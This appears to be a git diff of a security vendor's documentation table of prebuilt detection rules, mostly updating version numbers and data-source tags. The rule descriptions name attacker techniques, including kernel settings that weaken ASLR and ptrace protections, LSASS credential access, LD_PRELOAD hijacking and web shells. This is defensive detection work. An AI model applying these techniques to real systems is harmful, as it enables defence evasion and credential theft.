Guide] |None |1 + +|<> |This rule detects the modification and reading of kernel features through built-in commands. Attackers may collect information, disable or weaken Linux kernel protections. For example, an attacker may modify ASLR protection by disabling kernel.randomize_va_space, allow ptrace by setting kernel.yama.ptrace_scope to 0, or disable the NMI watchdog by setting kernel.nmi_watchdog to 0. These changes may be used to impair defenses and evade detection. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Tactic: Discovery], [Data Source: Elastic Defend], [Resources: Investigation Guide], [Data Source: Crowdstrike] |None |3 |<> |Monitors for the elevation of regular user permissions to root permissions through the kworker process. kworker, or kernel worker, processes are part of the kernel's workqueue mechanism. They are responsible for executing work that has been scheduled to be done in kernel space, which might include tasks like handling interrupts, background activities, and other kernel-related tasks. Attackers may attempt to evade detection by masquerading as a kernel worker process, and hijack the execution flow by hooking certain functions/syscalls through a rootkit in order to provide easy access to root via a special modified command. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Privilege Escalation], [Tactic: Defense Evasion], [Data Source: Elastic Defend], [Data Source: Elastic Endgame], [Resources: Investigation Guide] |None |6 @@ -2504,7 +2514,7 @@ and their rule type is `machine_learning`. |<> |Identifies suspicious Microsoft 365 mail access by ClientAppId. This rule detects when a user accesses their mailbox using a client application that is not typically used by the user, which may indicate potential compromise or unauthorized access attempts. Adversaries may use custom or third-party applications to access mailboxes, bypassing standard security controls. First-party Microsoft applications are also abused after OAuth tokens are compromised, allowing adversaries to access mailboxes without raising suspicion. |[Domain: Cloud], [Domain: Email], [Data Source: Microsoft 365], [Data Source: Microsoft 365 Audit Logs], [Use Case: Threat Detection], [Tactic: Collection], [Resources: Investigation Guide] |None |111 -|<> |Identifies sign-ins on behalf of a principal user to the Microsoft Graph API from multiple IPs using the Microsoft Authentication Broker or Visual Studio Code application. This behavior may indicate an adversary using a phished OAuth refresh token. |[Domain: Cloud], [Domain: Email], [Domain: Identity], [Data Source: Microsoft 365], [Data Source: Microsoft 365 Audit Logs], [Use Case: Identity and Access Audit], [Use Case: Threat Detection], [Resources: Investigation Guide], [Tactic: Defense Evasion] |None |4 +|<> |Identifies sign-ins on behalf of a principal user to the Microsoft Graph API from multiple IPs using the Microsoft Authentication Broker or Visual Studio Code application. This behavior may indicate an adversary using a phished OAuth refresh token. |[Domain: Cloud], [Domain: Email], [Domain: Identity], [Data Source: Microsoft 365], [Data Source: Microsoft 365 Audit Logs], [Use Case: Identity and Access Audit], [Use Case: Threat Detection], [Resources: Investigation Guide], [Tactic: Defense Evasion] |None |6 |<> |Identifies suspicious execution of the Microsoft Antimalware Service Executable (MsMpEng.exe) from non-standard paths or renamed instances. This may indicate an attempt to evade defenses through DLL side-loading or by masquerading as the antimalware process. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Data Source: Elastic Endgame], [Tactic: Execution], [Data Source: Elastic Defend], [Data Source: Sysmon], [Data Source: Microsoft Defender for Endpoint], [Data Source: Crowdstrike], [Resources: Investigation Guide] |None |216 @@ -2512,7 +2522,7 @@ and their rule type is `machine_learning`. |<> |Identifies Mshta.exe spawning a suspicious child process. This may indicate adversarial activity, as Mshta is often leveraged by adversaries to execute malicious scripts and evade detection. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Data Source: Elastic Endgame], [Data Source: Elastic Defend], [Data Source: Windows Security Event Logs], [Data Source: Microsoft Defender for Endpoint], [Data Source: Sysmon], [Data Source: SentinelOne], [Data Source: Crowdstrike], [Resources: Investigation Guide] |None |1 -|<> |Identifies separate OAuth authorization flows in Microsoft Entra ID where the same user principal and session ID are observed across multiple IP addresses within a 5-minute window. These flows involve the Microsoft Authentication Broker (MAB) as the client application and the Device Registration Service (DRS) as the target resource. This pattern is highly indicative of OAuth phishing activity, where an adversary crafts a legitimate Microsoft login URL to trick a user into completing authentication and sharing the resulting authorization code, which is then exchanged for an access and refresh token by the attacker. |[Domain: Cloud], [Domain: Identity], [Data Source: Azure], [Data Source: Entra ID], [Data Source: Entra ID Sign-in Logs], [Use Case: Identity and Access Audit], [Use Case: Threat Detection], [Resources: Investigation Guide], [Tactic: Initial Access] |None |4 +|<> |Identifies separate OAuth authorization flows in Microsoft Entra ID where the same user principal and session ID are observed across multiple IP addresses within a 5-minute window. These flows involve the Microsoft Authentication Broker (MAB) as the client application and the Device Registration Service (DRS) as the target resource. This pattern is highly indicative of OAuth phishing activity, where an adversary crafts a legitimate Microsoft login URL to trick a user into completing authentication and sharing the resulting authorization code, which is then exchanged for an access and refresh token by the attacker. |[Domain: Cloud], [Domain: Identity], [Data Source: Azure], [Data Source: Entra ID], [Data Source: Entra ID Sign-in Logs], [Use Case: Identity and Access Audit], [Use Case: Threat Detection], [Resources: Investigation Guide], [Tactic: Initial Access] |None |6 |<> |Identifies service creation events of common mining services, possibly indicating the infection of a system with a cryptominer. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Execution], [Data Source: Elastic Endgame], [Data Source: Elastic Defend], [Data Source: Crowdstrike], [Data Source: SentinelOne], [Resources: Investigation Guide] |None |110 @@ -2520,7 +2530,7 @@ and their rule type is `machine_learning`. |<> |Identifies LSASS loading an unsigned or untrusted DLL. Windows Security Support Provider (SSP) DLLs are loaded into LSSAS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Credential Access], [Data Source: Elastic Defend], [Data Source: Elastic Endgame], [Resources: Investigation Guide] |None |12 -|<> |This rule detects the creation of unusually labeled named pipes (FIFOs) by the mkfifo command, which is often used by attackers to establish persistence on a target system or to execute commands in the background. Through the new_terms rule type, this rule can identify uncommon process command lines that may indicate the presence of a malicious named pipe. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Execution], [Tactic: Command and Control], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |2 +|<> |This rule detects the creation of unusually labeled named pipes (FIFOs) by the mkfifo command, which is often used by attackers to establish persistence on a target system or to execute commands in the background. Through the new_terms rule type, this rule can identify uncommon process command lines that may indicate the presence of a malicious named pipe. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Execution], [Tactic: Command and Control], [Data Source: Elastic Defend], [Resources: Investigation Guide], [Data Source: Crowdstrike] |None |3 |<> |This rule monitors for network connectivity to the internet from a previously unknown executable located in a suspicious directory. An alert from this rule can indicate the presence of potentially malicious activity, such as the execution of unauthorized or suspicious processes attempting to establish connections to unknown or suspicious destinations such as a command and control server. Detecting and investigating such behavior can help identify and mitigate potential security threats, protecting the system and its data from potential compromise. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Command and Control], [Data Source: Elastic Endgame], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |14 @@ -2586,7 +2596,7 @@ and their rule type is `machine_learning`. |<> |This rule monitors for the execution of several commonly used system commands executed by a previously unknown executable located in commonly abused directories. An alert from this rule can indicate the presence of potentially malicious activity, such as the execution of unauthorized or suspicious processes attempting to run malicious code. Detecting and investigating such behavior can help identify and mitigate potential security threats, protecting the system and its data from potential compromise. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Execution], [Data Source: Elastic Endgame], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |110 -|<> |Identifies instances where VMware processes, such as "vmware-vmx" or "vmx," are terminated on a Linux system by a "kill" command. The rule monitors for the "end" event type, which signifies the termination of a process. The presence of a "kill" command as the parent process for terminating VMware processes may indicate that a threat actor is attempting to interfere with the virtualized environment on the targeted system. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Impact], [Data Source: Elastic Defend], [Data Source: Elastic Endgame], [Resources: Investigation Guide] |None |10 +|<> |Identifies instances where VMware processes, such as "vmware-vmx" or "vmx," are terminated on a Linux system by a "kill" command. The rule monitors for the "end" event type, which signifies the termination of a process. The presence of a "kill" command as the parent process for terminating VMware processes may indicate that a threat actor is attempting to interfere with the virtualized environment on the targeted system. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Impact], [Data Source: Elastic Defend], [Data Source: Elastic Endgame], [Resources: Investigation Guide], [Data Source: Crowdstrike] |None |11 |<> |Identifies the execution of the Microsoft Diagnostic Wizard to open a diagcab file from a suspicious path and with an unusual parent process. This may indicate an attempt to execute malicious Troubleshooting Pack Cabinet files. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Rule Type: BBR], [Data Source: Elastic Defend], [Data Source: Elastic Endgame], [Data Source: Windows Security Event Logs] |None |107 @@ -2638,7 +2648,7 @@ and their rule type is `machine_learning`. |<> |Adversaries may attempt to get a listing of network connections to or from a compromised system. |[Domain: Endpoint], [OS: Linux], [OS: macOS], [Use Case: Threat Detection], [Tactic: Discovery], [Rule Type: BBR], [Data Source: Elastic Defend], [Data Source: Elastic Endgame], [Data Source: Auditd Manager] |None |5 -|<> |Identifies the use of built-in tools which adversaries may use to enumerate the system owner/user of a compromised system. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Discovery], [Rule Type: BBR], [Data Source: Elastic Defend], [Data Source: Elastic Endgame], [Data Source: Auditd Manager] |None |5 +|<> |Identifies the use of built-in tools which adversaries may use to enumerate the system owner/user of a compromised system. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Discovery], [Rule Type: BBR], [Data Source: Elastic Defend], [Data Source: Elastic Endgame], [Data Source: Auditd Manager], [Data Source: Crowdstrike] |None |6 |<> |Identifies DNS queries to known public IP address lookup web services. Malwares tend to perform this action to assess potential targets. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Discovery], [Tactic: Command and Control], [Resources: Investigation Guide], [Data Source: Elastic Endgame], [Data Source: Elastic Defend], [Data Source: SentinelOne], [Data Source: Crowdstrike], [Data Source: Sysmon] |None |2 @@ -2740,7 +2750,7 @@ and their rule type is `machine_learning`. |<> |Identifies when AWS S3 objects stored in a bucket are encrypted using Server-Side Encryption with Customer-Provided Keys (SSE-C). Adversaries with compromised AWS credentials can encrypt objects in an S3 bucket using their own encryption keys, rendering the objects unreadable or recoverable without the key. This can be used as a form of ransomware to extort the bucket owner for the decryption key. This is a New Terms rule that flags when this behavior is observed for the first time user and target bucket name. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS S3], [Resources: Investigation Guide], [Use Case: Threat Detection], [Tactic: Impact] |None |4 -|<> |This rule leverages ESQL to detect unusual base64 encoding/decoding activity on Linux systems. Attackers may use base64 encoding/decoding to obfuscate data, such as command and control traffic or payloads, to evade detection by host- or network-based security controls. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |5 +|<> |This rule leverages ESQL to detect unusual base64 encoding/decoding activity on Linux systems. Attackers may use base64 encoding/decoding to obfuscate data, such as command and control traffic or payloads, to evade detection by host- or network-based security controls. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |7 |<> |Identifies a suspicious child process of the Windows virtual system process, which could indicate code injection. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Data Source: Elastic Endgame], [Data Source: Elastic Defend], [Data Source: Windows Security Event Logs], [Data Source: Microsoft Defender for Endpoint], [Data Source: Sysmon], [Data Source: SentinelOne], [Resources: Investigation Guide] |None |317 @@ -2750,7 +2760,7 @@ and their rule type is `machine_learning`. |<> |A machine learning job detected AWS command activity that, while not inherently suspicious or abnormal, is sourcing from a geolocation (city) that is unusual for the command. This can be the result of compromised credentials or keys being used by a threat actor in a different geography than the authorized user(s). |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Rule Type: ML], [Rule Type: Machine Learning], [Resources: Investigation Guide] |None |211 -|<> |This rule detects potential command execution from a web server parent process on a Linux host. Adversaries may attempt to execute commands from a web server parent process to blend in with normal web server activity and evade detection. This behavior is commonly observed in web shell attacks where adversaries exploit web server vulnerabilities to execute arbitrary commands on the host. The detection rule identifies unusual command execution from web server parent processes, which may indicate a compromised host or an ongoing attack. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Persistence], [Tactic: Execution], [Tactic: Command and Control], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |6 +|<> |This rule detects potential command execution from a web server parent process on a Linux host. Adversaries may attempt to execute commands from a web server parent process to blend in with normal web server activity and evade detection. This behavior is commonly observed in web shell attacks where adversaries exploit web server vulnerabilities to execute arbitrary commands on the host. The detection rule identifies unusual command execution from web server parent processes, which may indicate a compromised host or an ongoing attack. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Persistence], [Tactic: Execution], [Tactic: Command and Control], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |8 |<> |A machine learning job detected AWS command activity that, while not inherently suspicious or abnormal, is sourcing from a geolocation (country) that is unusual for the command. This can be the result of compromised credentials or keys being used by a threat actor in a different geography than the authorized user(s). |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Rule Type: ML], [Rule Type: Machine Learning], [Resources: Investigation Guide] |None |211 @@ -2768,7 +2778,7 @@ and their rule type is `machine_learning`. |<> |Identifies an unexpected executable file being created or modified by a Windows system critical process, which may indicate activity related to remote code execution or other forms of exploitation. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Tactic: Execution], [Resources: Investigation Guide], [Data Source: Elastic Endgame], [Data Source: Elastic Defend], [Data Source: Sysmon], [Data Source: Microsoft Defender for Endpoint], [Data Source: SentinelOne], [Data Source: Crowdstrike] |None |315 -|<> |This rule detects suspicious child process from the kernel thread (kthreadd) parent process. Attackers may execute payloads from kernel space via kthreadd to perform actions on the host and evade detection. Through the usage of the new_terms rule type, this rule can identify uncommon child processes that may indicate the presence of a malicious process. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Execution], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |2 +|<> |This rule detects suspicious child process from the kernel thread (kthreadd) parent process. Attackers may execute payloads from kernel space via kthreadd to perform actions on the host and evade detection. Through the usage of the new_terms rule type, this rule can identify uncommon child processes that may indicate the presence of a malicious process. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Execution], [Data Source: Elastic Defend], [Resources: Investigation Guide], [Data Source: Crowdstrike] |None |3 |<> |Identifies the execution of a child process from a Microsoft Common Console file. Adversaries may embed a malicious command in an MSC file in order to trick victims into executing malicious commands. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Execution], [Tactic: Initial Access], [Resources: Investigation Guide], [Data Source: Elastic Endgame], [Data Source: Elastic Defend], [Data Source: Sysmon], [Data Source: Microsoft Defender for Endpoint], [Data Source: SentinelOne] |None |205 @@ -2776,21 +2786,21 @@ and their rule type is `machine_learning`. |<> |Identifies suspicious creation of Alternate Data Streams on highly targeted files. This is uncommon for legitimate files and sometimes done by adversaries to hide malware. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Resources: Investigation Guide], [Data Source: Elastic Defend], [Data Source: Sysmon], [Data Source: Microsoft Defender for Endpoint], [Data Source: SentinelOne], [Data Source: Elastic Endgame] |None |320 -|<> |This rule detects unusual file creations from a web server parent process. Adversaries may attempt to create files from a web server parent process to establish persistence, execute malicious scripts, or exfiltrate data. ES|QL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Persistence], [Tactic: Execution], [Tactic: Command and Control], [Data Source: Elastic Defend], [Rule Type: BBR] |None |4 +|<> |This rule detects unusual file creations from a web server parent process. Adversaries may attempt to create files from a web server parent process to establish persistence, execute malicious scripts, or exfiltrate data. ES|QL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Persistence], [Tactic: Execution], [Tactic: Command and Control], [Data Source: Elastic Defend], [Rule Type: BBR] |None |6 |<> |Identifies an unexpected file being modified by dns.exe, the process responsible for Windows DNS Server services, which may indicate activity related to remote code execution or other forms of exploitation. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Lateral Movement], [Data Source: Elastic Endgame], [Use Case: Vulnerability], [Data Source: Elastic Defend], [Data Source: Sysmon], [Resources: Investigation Guide] |None |216 -|<> |This rule leverages ESQL to detect the execution of unusual file transfer utilities on Linux systems. Attackers may use these utilities to exfiltrate data from a compromised system. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Exfiltration], [Tactic: Execution], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |6 +|<> |This rule leverages ESQL to detect the execution of unusual file transfer utilities on Linux systems. Attackers may use these utilities to exfiltrate data from a compromised system. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Exfiltration], [Tactic: Execution], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |8 |<> |A machine learning job has detected a user accessing an uncommon group name for privileged operations, indicating potential privileged access activity. This indicates that a user has accessed a group name that is unusual for their typical operations, particularly for actions requiring elevated privileges. This could point to an attempt to manipulate group memberships or escalate privileges on a system. |[Use Case: Privileged Access Detection], [Rule Type: ML], [Rule Type: Machine Learning], [Tactic: Privilege Escalation], [Resources: Investigation Guide] |None |3 -|<> |Detects repeated high-confidence 'BLOCKED' actions coupled with specific 'Content Filter' policy violation having codes such as 'MISCONDUCT', 'HATE', 'SEXUAL', INSULTS', 'PROMPT_ATTACK', 'VIOLENCE' indicating persistent misuse or attempts to probe the model's ethical boundaries. |[Domain: LLM], [Data Source: AWS Bedrock], [Data Source: AWS S3], [Use Case: Policy Violation], [Mitre Atlas: T0051], [Mitre Atlas: T0054], [Resources: Investigation Guide] |None |7 +|<> |Detects repeated high-confidence 'BLOCKED' actions coupled with specific 'Content Filter' policy violation having codes such as 'MISCONDUCT', 'HATE', 'SEXUAL', INSULTS', 'PROMPT_ATTACK', 'VIOLENCE' indicating persistent misuse or attempts to probe the model's ethical boundaries. |[Domain: LLM], [Data Source: AWS Bedrock], [Data Source: AWS S3], [Use Case: Policy Violation], [Mitre Atlas: T0051], [Mitre Atlas: T0054], [Resources: Investigation Guide] |None |9 -|<> |Detects repeated compliance violation 'BLOCKED' actions coupled with specific policy name such as 'sensitive_information_policy', indicating persistent misuse or attempts to probe the model's denied topics. |[Domain: LLM], [Data Source: AWS Bedrock], [Data Source: AWS S3], [Use Case: Policy Violation], [Mitre Atlas: T0051], [Mitre Atlas: T0054], [Resources: Investigation Guide] |None |3 +|<> |Detects repeated compliance violation 'BLOCKED' actions coupled with specific policy name such as 'sensitive_information_policy', indicating persistent misuse or attempts to probe the model's denied topics. |[Domain: LLM], [Data Source: AWS Bedrock], [Data Source: AWS S3], [Use Case: Policy Violation], [Mitre Atlas: T0051], [Mitre Atlas: T0054], [Resources: Investigation Guide] |None |5 -|<> |Detects repeated compliance violation 'BLOCKED' actions coupled with specific policy name such as 'topic_policy', indicating persistent misuse or attempts to probe the model's denied topics. |[Domain: LLM], [Data Source: AWS Bedrock], [Data Source: AWS S3], [Use Case: Policy Violation], [Mitre Atlas: T0051], [Mitre Atlas: T0054], [Resources: Investigation Guide] |None |3 +|<> |Detects repeated compliance violation 'BLOCKED' actions coupled with specific policy name such as 'topic_policy', indicating persistent misuse or attempts to probe the model's denied topics. |[Domain: LLM], [Data Source: AWS Bedrock], [Data Source: AWS S3], [Use Case: Policy Violation], [Mitre Atlas: T0051], [Mitre Atlas: T0054], [Resources: Investigation Guide] |None |5 -|<> |Detects repeated compliance violation 'BLOCKED' actions coupled with specific policy name such as 'word_policy', indicating persistent misuse or attempts to probe the model's denied topics. |[Domain: LLM], [Data Source: AWS Bedrock], [Data Source: AWS S3], [Use Case: Policy Violation], [Mitre Atlas: T0051], [Mitre Atlas: T0054], [Resources: Investigation Guide] |None |3 +|<> |Detects repeated compliance violation 'BLOCKED' actions coupled with specific policy name such as 'word_policy', indicating persistent misuse or attempts to probe the model's denied topics. |[Domain: LLM], [Data Source: AWS Bedrock], [Data Source: AWS S3], [Use Case: Policy Violation], [Mitre Atlas: T0051], [Mitre Atlas: T0054], [Resources: Investigation Guide] |None |5 |<> |A machine learning job has identified a user performing privileged operations in Okta from an uncommon device, indicating potential privileged access activity. This could signal a compromised account, an attacker using stolen credentials, or an insider threat leveraging an unauthorized device to escalate privileges. |[Use Case: Privileged Access Detection], [Rule Type: ML], [Rule Type: Machine Learning], [Tactic: Privilege Escalation], [Resources: Investigation Guide] |None |3 @@ -2806,7 +2816,7 @@ and their rule type is `machine_learning`. |<> |This rule detects the use of unusual kill signals, specifically kill signals in the range of 32-64, which are not commonly used in standard operations. Rootkits may leverage these signals to conduct certain actions, such as manipulating processes in unexpected ways, potentially escalating privileges or evading detection. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Data Source: Auditd Manager], [Resources: Investigation Guide] |None |1 -|<> |This rule detects the use of the LD_PRELOAD and LD_LIBRARY_PATH environment variables in a command line argument. This behavior is unusual and may indicate an attempt to hijack the execution flow of a process. Threat actors may use this technique to evade defenses, escalate privileges, or maintain persistence on a system. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Tactic: Persistence], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |2 +|<> |This rule detects the use of the LD_PRELOAD and LD_LIBRARY_PATH environment variables in a command line argument. This behavior is unusual and may indicate an attempt to hijack the execution flow of a process. Threat actors may use this technique to evade defenses, escalate privileges, or maintain persistence on a system. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Tactic: Persistence], [Data Source: Elastic Defend], [Resources: Investigation Guide], [Data Source: Crowdstrike] |None |3 |<> |Identifies Linux processes that do not usually use the network but have unexpected network activity, which can indicate command-and-control, lateral movement, persistence, or data exfiltration activity. A process with unusual network activity can denote process exploitation or injection, where the process is used to run persistence mechanisms that allow a malicious actor remote access or control of the host, data exfiltration, and execution of unauthorized network applications. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Rule Type: ML], [Rule Type: Machine Learning], [Resources: Investigation Guide] |None |107 @@ -2878,7 +2888,7 @@ and their rule type is `machine_learning`. |<> |A machine learning job has detected a suspicious Windows process. This process has been classified as malicious in two ways. It was predicted to be malicious by the ProblemChild supervised ML model, and it was found to be suspicious given that its user context is unusual and does not commonly manifest malicious activity,by an unsupervised ML model. Such a process may be an instance of suspicious or malicious activity, possibly involving LOLbins, that may be resistant to detection using conventional search rules. |[Domain: Endpoint], [OS: Windows], [Use Case: Living off the Land Attack Detection], [Rule Type: ML], [Rule Type: Machine Learning], [Tactic: Defense Evasion], [Resources: Investigation Guide] |None |110 -|<> |This rule detects unusual processes spawned from a web server parent process by identifying low frequency counts of process spawning activity. Unusual process spawning activity may indicate an attacker attempting to establish persistence, execute malicious commands, or establish command and control channels on the host system. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Persistence], [Tactic: Execution], [Tactic: Command and Control], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |6 +|<> |This rule detects unusual processes spawned from a web server parent process by identifying low frequency counts of process spawning activity. Unusual process spawning activity may indicate an attacker attempting to establish persistence, execute malicious commands, or establish command and control channels on the host system. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Persistence], [Tactic: Execution], [Tactic: Command and Control], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |8 |<> |A machine learning job has detected a rare process writing data to an external device. Malicious actors often use benign-looking processes to mask their data exfiltration activities. The discovery of such a process that has no legitimate reason to write data to external devices can indicate exfiltration. |[Use Case: Data Exfiltration Detection], [Rule Type: ML], [Rule Type: Machine Learning], [Tactic: Exfiltration], [Resources: Investigation Guide] |None |7 @@ -2896,7 +2906,7 @@ and their rule type is `machine_learning`. |<> |A machine learning job has detected an unusually high file size shared by a remote host indicating potential lateral movement activity. One of the primary goals of attackers after gaining access to a network is to locate and exfiltrate valuable information. Instead of multiple small transfers that can raise alarms, attackers might choose to bundle data into a single large file transfer. |[Use Case: Lateral Movement Detection], [Rule Type: ML], [Rule Type: Machine Learning], [Tactic: Lateral Movement], [Resources: Investigation Guide] |None |7 -|<> |This rule detects the creation of an unusual SSHD child process through the usage of the `new_terms` rule type. Attackers may abuse SSH to maintain persistence on a compromised system, or to establish a backdoor for remote access, potentially resulting in an unusual SSHD child process being created. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Persistence], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |4 +|<> |This rule detects the creation of an unusual SSHD child process through the usage of the `new_terms` rule type. Attackers may abuse SSH to maintain persistence on a compromised system, or to establish a backdoor for remote access, potentially resulting in an unusual SSHD child process being created. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Persistence], [Data Source: Elastic Defend], [Resources: Investigation Guide], [Data Source: Crowdstrike] |None |5 |<> |Identifies first-time modifications to scheduled tasks by user accounts, excluding system activity and machine accounts. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Persistence], [Data Source: Windows Security Event Logs], [Resources: Investigation Guide] |None |115 @@ -2960,7 +2970,7 @@ and their rule type is `machine_learning`. |<> |Identifies potential credential decrypt operations by PowerShell or unsigned processes using the Veeam.Backup.Common.dll library. Attackers can use Veeam Credentials to target backups as part of destructive operations such as Ransomware attacks. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Credential Access], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |5 -|<> |An adversary may attempt to get detailed information about the operating system and hardware. This rule identifies common locations used to discover virtual machine hardware by a non-root user. This technique has been used by the Pupy RAT and other malware. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Discovery], [Data Source: Elastic Endgame], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |111 +|<> |An adversary may attempt to get detailed information about the operating system and hardware. This rule identifies common locations used to discover virtual machine hardware by a non-root user. This technique has been used by the Pupy RAT and other malware. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Discovery], [Data Source: Elastic Endgame], [Data Source: Elastic Defend], [Resources: Investigation Guide], [Data Source: Crowdstrike] |None |112 |<> |An adversary may attempt to get detailed information about the operating system and hardware. This rule identifies common locations used to discover virtual machine hardware by a non-root user. This technique has been used by the Pupy RAT and other malware. |[Domain: Endpoint], [OS: macOS], [OS: Linux], [Use Case: Threat Detection], [Tactic: Discovery], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |108 @@ -3028,6 +3038,8 @@ and their rule type is `machine_learning`. |<> |Identifies use of the built-in Windows script interpreters (cscript.exe or wscript.exe) being used to execute a process via Windows Management Instrumentation (WMI). This may be indicative of malicious activity. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Initial Access], [Tactic: Execution], [Data Source: Elastic Endgame], [Data Source: Elastic Defend], [Data Source: Sysmon], [Resources: Investigation Guide] |None |213 +|<> |Identifies suspicious processes being spawned by the Windows Server Update Service. This activity may indicate exploitation activity or access to an existing web shell backdoor. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Initial Access], [Tactic: Execution], [Data Source: Elastic Endgame], [Data Source: Elastic Defend], [Data Source: Sysmon], [Data Source: Microsoft Defender for Endpoint], [Data Source: SentinelOne], [Resources: Investigation Guide] |None |1 + |<> |Identifies the creation of a Windows service by an unusual client process. Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Privilege Escalation], [Data Source: Windows Security Event Logs], [Resources: Investigation Guide] |None |217 |<> |Detects changes to the registry that indicates the install of a new Windows Subsystem for Linux distribution by name. Adversaries may enable and use WSL for Linux to avoid detection. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Data Source: Elastic Endgame], [Data Source: Elastic Defend], [Data Source: Sysmon], [Data Source: Microsoft Defender for Endpoint], [Data Source: SentinelOne], [Data Source: Crowdstrike], [Resources: Investigation Guide] |None |212 diff --git a/docs/detections/prebuilt-rules/rule-desc-index.asciidoc b/docs/detections/prebuilt-rules/rule-desc-index.asciidoc index ac480d9014..3c69beb552 100644 --- a/docs/detections/prebuilt-rules/rule-desc-index.asciidoc +++ b/docs/detections/prebuilt-rules/rule-desc-index.asciidoc @@ -28,6 +28,7 @@ 